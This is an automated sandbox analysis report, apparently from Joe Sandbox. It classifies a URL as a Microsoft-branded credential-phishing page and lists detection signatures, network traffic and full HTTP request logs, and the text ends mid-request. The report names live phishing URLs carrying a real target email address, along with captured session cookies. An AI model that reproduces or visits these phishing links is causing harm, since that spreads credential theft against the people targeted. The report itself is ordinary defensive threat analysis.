Loading Joe Sandbox Report ...

Edit tour

Windows Analysis Report
https://samartrace.co.ke/resu/repnu03/pDm2uA4djQME/transportforum@stanstedairport.com

Overview

General Information

Sample URL:	https://samartrace.co.ke/resu/repnu03/pDm2uA4djQME/transportforum@stanstedairport.com
Analysis ID:	1427005
Infos:

Detection

HTMLPhisher

Score:	56
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Yara detected HtmlPhish10

Phishing site detected (based on image similarity)

Phishing site detected (based on logo match)

HTML body contains low number of good links

HTML body contains password input but no form action

HTML page contains hidden URLs or javascript code

HTML title does not match URL

Invalid T&C link found

URL contains potential PII (phishing indication)

Classification

×

Process Tree

System is w10x64

chrome.exe (PID: 2260 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 1228 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2428 --field-trial-handle=2036,i,2107721403708843479,861960733534899891,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 6408 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://samartrace.co.ke/resu/repnu03/pDm2uA4djQME/transportforum@stanstedairport.com" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

cleanup

Malware Configuration

⊘No configs have been found

Yara Signatures

HTML

Source	Rule	Description	Author	Strings
3.4.pages.csv	JoeSecurity_HtmlPhish_10	Yara detected HtmlPhish_10	Joe Security
2.3.pages.csv	JoeSecurity_HtmlPhish_10	Yara detected HtmlPhish_10	Joe Security

Sigma Signatures

⊘No Sigma rule has matched

Snort Signatures

⊘No Snort rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Phishing

Yara detected HtmlPhish10

Source: Yara match	File source: 3.4.pages.csv, type: HTML
Source: Yara match	File source: 2.3.pages.csv, type: HTML

Phishing site detected (based on image similarity)

Source: https://qnh3b.putimp.com/2069892848624549763cbauYBbHELJYIBDUBVHFAFWZMOZIYJUEWTE?jdijVGJzDOoNSltosieSKdJLBEFEHLKUUATVNMLVWPQWYAOZLVDAQSEORWINIMZNHGL

Matcher: Found strong image similarity, brand: MICROSOFT

Phishing site detected (based on logo match)

Source: https://qnh3b.putimp.com/2069892848624549763cbauYBbHELJYIBDUBVHFAFWZMOZIYJUEWTE?jdijVGJzDOoNSltosieSKdJLBEFEHLKUUATVNMLVWPQWYAOZLVDAQSEORWINIMZNHGL	Matcher: Template: microsoft matched
Source: https://qnh3b.putimp.com/2069892848624549763cbauYBbHELJYIBDUBVHFAFWZMOZIYJUEWTE?jdijVGJzDOoNSltosieSKdJLBEFEHLKUUATVNMLVWPQWYAOZLVDAQSEORWINIMZNHGL#	Matcher: Template: microsoft matched

Source: https://qnh3b.putimp.com/2069892848624549763cbauYBbHELJYIBDUBVHFAFWZMOZIYJUEWTE?jdijVGJzDOoNSltosieSKdJLBEFEHLKUUATVNMLVWPQWYAOZLVDAQSEORWINIMZNHGL

HTTP Parser: Number of links: 0

Source: https://qnh3b.putimp.com/2069892848624549763cbauYBbHELJYIBDUBVHFAFWZMOZIYJUEWTE?jdijVGJzDOoNSltosieSKdJLBEFEHLKUUATVNMLVWPQWYAOZLVDAQSEORWINIMZNHGL

HTTP Parser: <input type="password" .../> found but no <form action="...

Source: https://qnh3b.putimp.com/yo0z/#Mtransportforum@stanstedairport.com

HTTP Parser: Base64 decoded: <!DOCTYPE html><html lang="en"><head> <script src="https://code.jquery.com/jquery-3.6.0.min.js"></script> <script src="https://challenges.cloudflare.com/turnstile/v0/api.js?render=explicit"></script> <meta http-equiv="X-UA-Compatible" c...

Source: https://qnh3b.putimp.com/2069892848624549763cbauYBbHELJYIBDUBVHFAFWZMOZIYJUEWTE?jdijVGJzDOoNSltosieSKdJLBEFEHLKUUATVNMLVWPQWYAOZLVDAQSEORWINIMZNHGL

HTTP Parser: Title: ebqFAQwMwk does not match URL

Source: https://qnh3b.putimp.com/2069892848624549763cbauYBbHELJYIBDUBVHFAFWZMOZIYJUEWTE?jdijVGJzDOoNSltosieSKdJLBEFEHLKUUATVNMLVWPQWYAOZLVDAQSEORWINIMZNHGL	HTTP Parser: Invalid link: Terms of use
Source: https://qnh3b.putimp.com/2069892848624549763cbauYBbHELJYIBDUBVHFAFWZMOZIYJUEWTE?jdijVGJzDOoNSltosieSKdJLBEFEHLKUUATVNMLVWPQWYAOZLVDAQSEORWINIMZNHGL	HTTP Parser: Invalid link: Privacy & cookies

Source: https://samartrace.co.ke/resu/repnu03/pDm2uA4djQME/transportforum@stanstedairport.com

Sample URL: PII: transportforum@stanstedairport.com

Source: https://qnh3b.putimp.com/2069892848624549763cbauYBbHELJYIBDUBVHFAFWZMOZIYJUEWTE?jdijVGJzDOoNSltosieSKdJLBEFEHLKUUATVNMLVWPQWYAOZLVDAQSEORWINIMZNHGL

HTTP Parser: <input type="password" .../> found

Source: https://qnh3b.putimp.com/yo0z/#Mtransportforum@stanstedairport.com	HTTP Parser: No favicon
Source: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/funqz/0x4AAAAAAAWA-O9oM_yqdfiB/auto/normal	HTTP Parser: No favicon
Source: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/funqz/0x4AAAAAAAWA-O9oM_yqdfiB/auto/normal	HTTP Parser: No favicon
Source: https://qnh3b.putimp.com/2069892848624549763cbauYBbHELJYIBDUBVHFAFWZMOZIYJUEWTE?jdijVGJzDOoNSltosieSKdJLBEFEHLKUUATVNMLVWPQWYAOZLVDAQSEORWINIMZNHGL	HTTP Parser: No favicon

Source: https://qnh3b.putimp.com/2069892848624549763cbauYBbHELJYIBDUBVHFAFWZMOZIYJUEWTE?jdijVGJzDOoNSltosieSKdJLBEFEHLKUUATVNMLVWPQWYAOZLVDAQSEORWINIMZNHGL

HTTP Parser: No <meta name="author".. found

Source: https://qnh3b.putimp.com/2069892848624549763cbauYBbHELJYIBDUBVHFAFWZMOZIYJUEWTE?jdijVGJzDOoNSltosieSKdJLBEFEHLKUUATVNMLVWPQWYAOZLVDAQSEORWINIMZNHGL

HTTP Parser: No <meta name="copyright".. found

Source: unknown	HTTPS traffic detected: 184.31.62.93:443 -> 192.168.2.4:49741 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.31.62.93:443 -> 192.168.2.4:49744 version: TLS 1.2

Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.32
Source: unknown	TCP traffic detected without corresponding DNS query: 104.46.162.224
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.32
Source: unknown	TCP traffic detected without corresponding DNS query: 184.31.62.93
Source: unknown	TCP traffic detected without corresponding DNS query: 184.31.62.93
Source: unknown	TCP traffic detected without corresponding DNS query: 184.31.62.93
Source: unknown	TCP traffic detected without corresponding DNS query: 184.31.62.93
Source: unknown	TCP traffic detected without corresponding DNS query: 184.31.62.93
Source: unknown	TCP traffic detected without corresponding DNS query: 184.31.62.93
Source: unknown	TCP traffic detected without corresponding DNS query: 184.31.62.93
Source: unknown	TCP traffic detected without corresponding DNS query: 184.31.62.93
Source: unknown	TCP traffic detected without corresponding DNS query: 184.31.62.93
Source: unknown	TCP traffic detected without corresponding DNS query: 184.31.62.93
Source: unknown	TCP traffic detected without corresponding DNS query: 184.31.62.93
Source: unknown	TCP traffic detected without corresponding DNS query: 184.31.62.93
Source: unknown	TCP traffic detected without corresponding DNS query: 184.31.62.93
Source: unknown	TCP traffic detected without corresponding DNS query: 184.31.62.93
Source: unknown	TCP traffic detected without corresponding DNS query: 184.31.62.93
Source: unknown	TCP traffic detected without corresponding DNS query: 184.31.62.93
Source: unknown	TCP traffic detected without corresponding DNS query: 184.31.62.93
Source: unknown	TCP traffic detected without corresponding DNS query: 184.31.62.93
Source: unknown	TCP traffic detected without corresponding DNS query: 184.31.62.93
Source: unknown	TCP traffic detected without corresponding DNS query: 23.40.205.73
Source: unknown	TCP traffic detected without corresponding DNS query: 23.40.205.73
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /resu/repnu03/pDm2uA4djQME/transportforum@stanstedairport.com HTTP/1.1Host: samartrace.co.keConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /yo0z/ HTTP/1.1Host: qnh3b.putimp.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentsec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET /turnstile/v0/api.js?render=explicit HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://qnh3b.putimp.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /jquery-3.6.0.min.js HTTP/1.1Host: code.jquery.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://qnh3b.putimp.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /turnstile/v0/b/bcc5fb0a8815/api.js?render=explicit HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://qnh3b.putimp.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/funqz/0x4AAAAAAAWA-O9oM_yqdfiB/auto/normal HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://qnh3b.putimp.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/orchestrate/chl_api/v1?ray=8756a4b73c471383 HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/funqz/0x4AAAAAAAWA-O9oM_yqdfiB/auto/normalAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/cmg/1/wh0E0SXYnx6pTBdJW%2Fl926I%2BPRUplRdtQz3K9lHXs%2Fs%3D HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/funqz/0x4AAAAAAAWA-O9oM_yqdfiB/auto/normalAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/cmg/1/wh0E0SXYnx6pTBdJW%2Fl926I%2BPRUplRdtQz3K9lHXs%2Fs%3D HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: qnh3b.putimp.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://qnh3b.putimp.com/yo0z/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IlhvZWRnRndkamd5MXdpamxNaU9QbEE9PSIsInZhbHVlIjoiQnJqRTZTVHRMZGdrbVRydlVFYkY1d1NONmNkM0FlQlhOajg5ZGt6azlzZ2hNUERmc3Q1QkdsbVpuTE50R0dsRjB5d3lydm1mOEFzMVBKSXJTVCtYNExQREw0R3JmN01xeDN3SzhKNEsvM0FsNGdWMUwxNlM1MHo5blVSNjkrZVEiLCJtYWMiOiJkNmMwYWZmNDhkNTc0ZWQyMmIyZWFlMDAxNTVjNjgxZDU3YjI2OWEyNTI3N2VkOTVjODQzNjNjZjIyM2MzMzUxIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkdFMVRWRVNxWG1PUHR4UWJNc3dqWEE9PSIsInZhbHVlIjoiMnF1V2lrMEFPem5qY0JZN1ZxaGhIc3VkRXlqQWZGT0x5R3RCNnU5b3ZMdmlNb2dXQjV1ZnQ4ZmRKcGx6bnFHVVNXdGV3b1NTdGhCaXNhMUp2V3diZHUvQ3hEWitkcGFmbDRWamFJL0VINjJlOUlCRnhTaitXMVB5b1YrY1lMcmgiLCJtYWMiOiI5ZDM1ZTI2MjJmNTg5OTU2ZmJkZDFlNTE2ODMxMDhjM2Q4YWI0ODRiZTM3NmI1ODUwMDY5ZjNmMmM5MTY0Y2U3IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/flow/ov1/582398122:1713292595:nfjc01nuBpm6sYz_S8U270P-1Zb5f_3UQCAB6XXnflo/8756a4b73c471383/998145d1b266cd0 HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/i/8756a4b73c471383/1713296389254/anpd4FQprUR7OPG HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/funqz/0x4AAAAAAAWA-O9oM_yqdfiB/auto/normalAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/pat/8756a4b73c471383/1713296389254/ac6e7e9690d324482ebd2d423ffbf48f13700e35c15d10a6c638d2dc30502dc6/qxBmrjcxmoe-ekd HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveCache-Control: max-age=0sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/funqz/0x4AAAAAAAWA-O9oM_yqdfiB/auto/normalAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/i/8756a4b73c471383/1713296389254/anpd4FQprUR7OPG HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/flow/ov1/582398122:1713292595:nfjc01nuBpm6sYz_S8U270P-1Zb5f_3UQCAB6XXnflo/8756a4b73c471383/998145d1b266cd0 HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/flow/ov1/582398122:1713292595:nfjc01nuBpm6sYz_S8U270P-1Zb5f_3UQCAB6XXnflo/8756a4b73c471383/998145d1b266cd0 HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /yo0z/ HTTP/1.1Host: qnh3b.putimp.comConnection: keep-aliveCache-Control: max-age=0sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentReferer: https://qnh3b.putimp.com/yo0z/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IlBRc2RJVUtTeGhFaWg4RytlQnRGNFE9PSIsInZhbHVlIjoiRmFpNjliazJ6L3Zxd01SZk9jcVd5L21WZ1Q2MGwyTTM2b0JmNkI2b0l4UkZpNklVd090UGlEOExzbUZFanJqeUY2SkJwSUxoN3pvRHpoa3BxSmM5OGxvc2hUTVdIM095VjQvQzltSk1VTm40NFpBTktxQ0M0R3BrczMzcHRtZWMiLCJtYWMiOiIxY2YwMGIxYTJiMzIwMWJmMzk2MWMyMjYxNTJmNmFmNGVmZmQ1YTRiM2VhZjdjMWI5ODcyNjE4ZWFlMDRiYjgwIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkRJdE9PQitHZllickYybk9WcVhOQkE9PSIsInZhbHVlIjoiWHdVdjZFa3VkVVFFNi81UmlJaEp1d0xBZHZ4NTJWNUtRdmZHM2V5MlRZYVh3eE9EUzRMakNLTGhPVzdldjVZZHFuQUlqTjZNMFc4MmlPYS9BVXdMTEIxUTQ1L0YzVS9UZjJxSTJCU3pRaGFGNUFyd3R5RHBEVk8zVGhHMCtKS3YiLCJtYWMiOiIxMTBlZmQ4ZjZlYjU4OTQzOTIxOGFjNDZkYmY5MzVhNTBkNDEyYWMwNzhlYmI5YWIzMmFmMDgwZDlkNmI5MzhhIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /vbhBwfSdFwHEANiXnMfcwIszde HTTP/1.1Host: qnh3b.putimp.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IlBRc2RJVUtTeGhFaWg4RytlQnRGNFE9PSIsInZhbHVlIjoiRmFpNjliazJ6L3Zxd01SZk9jcVd5L21WZ1Q2MGwyTTM2b0JmNkI2b0l4UkZpNklVd090UGlEOExzbUZFanJqeUY2SkJwSUxoN3pvRHpoa3BxSmM5OGxvc2hUTVdIM095VjQvQzltSk1VTm40NFpBTktxQ0M0R3BrczMzcHRtZWMiLCJtYWMiOiIxY2YwMGIxYTJiMzIwMWJmMzk2MWMyMjYxNTJmNmFmNGVmZmQ1YTRiM2VhZjdjMWI5ODcyNjE4ZWFlMDRiYjgwIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkRJdE9PQitHZllickYybk9WcVhOQkE9PSIsInZhbHVlIjoiWHdVdjZFa3VkVVFFNi81UmlJaEp1d0xBZHZ4NTJWNUtRdmZHM2V5MlRZYVh3eE9EUzRMakNLTGhPVzdldjVZZHFuQUlqTjZNMFc4MmlPYS9BVXdMTEIxUTQ1L0YzVS9UZjJxSTJCU3pRaGFGNUFyd3R5RHBEVk8zVGhHMCtKS3YiLCJtYWMiOiIxMTBlZmQ4ZjZlYjU4OTQzOTIxOGFjNDZkYmY5MzVhNTBkNDEyYWMwNzhlYmI5YWIzMmFmMDgwZDlkNmI5MzhhIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /yo0z/?dMtransportforum@stanstedairport.com HTTP/1.1Host: qnh3b.putimp.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-Dest: documentReferer: https://qnh3b.putimp.com/yo0z/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6ImZXaFQxY1BwUmdkOWtJRTJ6RVNmQWc9PSIsInZhbHVlIjoiQWhobzc1RFNQMDVzUjV0NlNGUDViZ2lXYzJ3a3Z5KzNHMTFiUzlzK2hWWThxcWpRclZPU2NWdThmcEw1Tlp3akFZL3Bjbmh6cDQyNEFhT3NIRVh0bE90b01ZbjF0bjJxek5hTTdUdHNadSsrb1pWQ1N0N0pvZTM0ZEhLbEE3VVEiLCJtYWMiOiJkNDg3MjdjZmM0MjM3YjQ2YjcwZTJiMGMyYjA0ZTQ0NDc2ZjczMDE3MmM4YjQ4Njk5NWRkZDI2NjY4OTFiZTFiIiwidGFnIjoiIn0%3D; 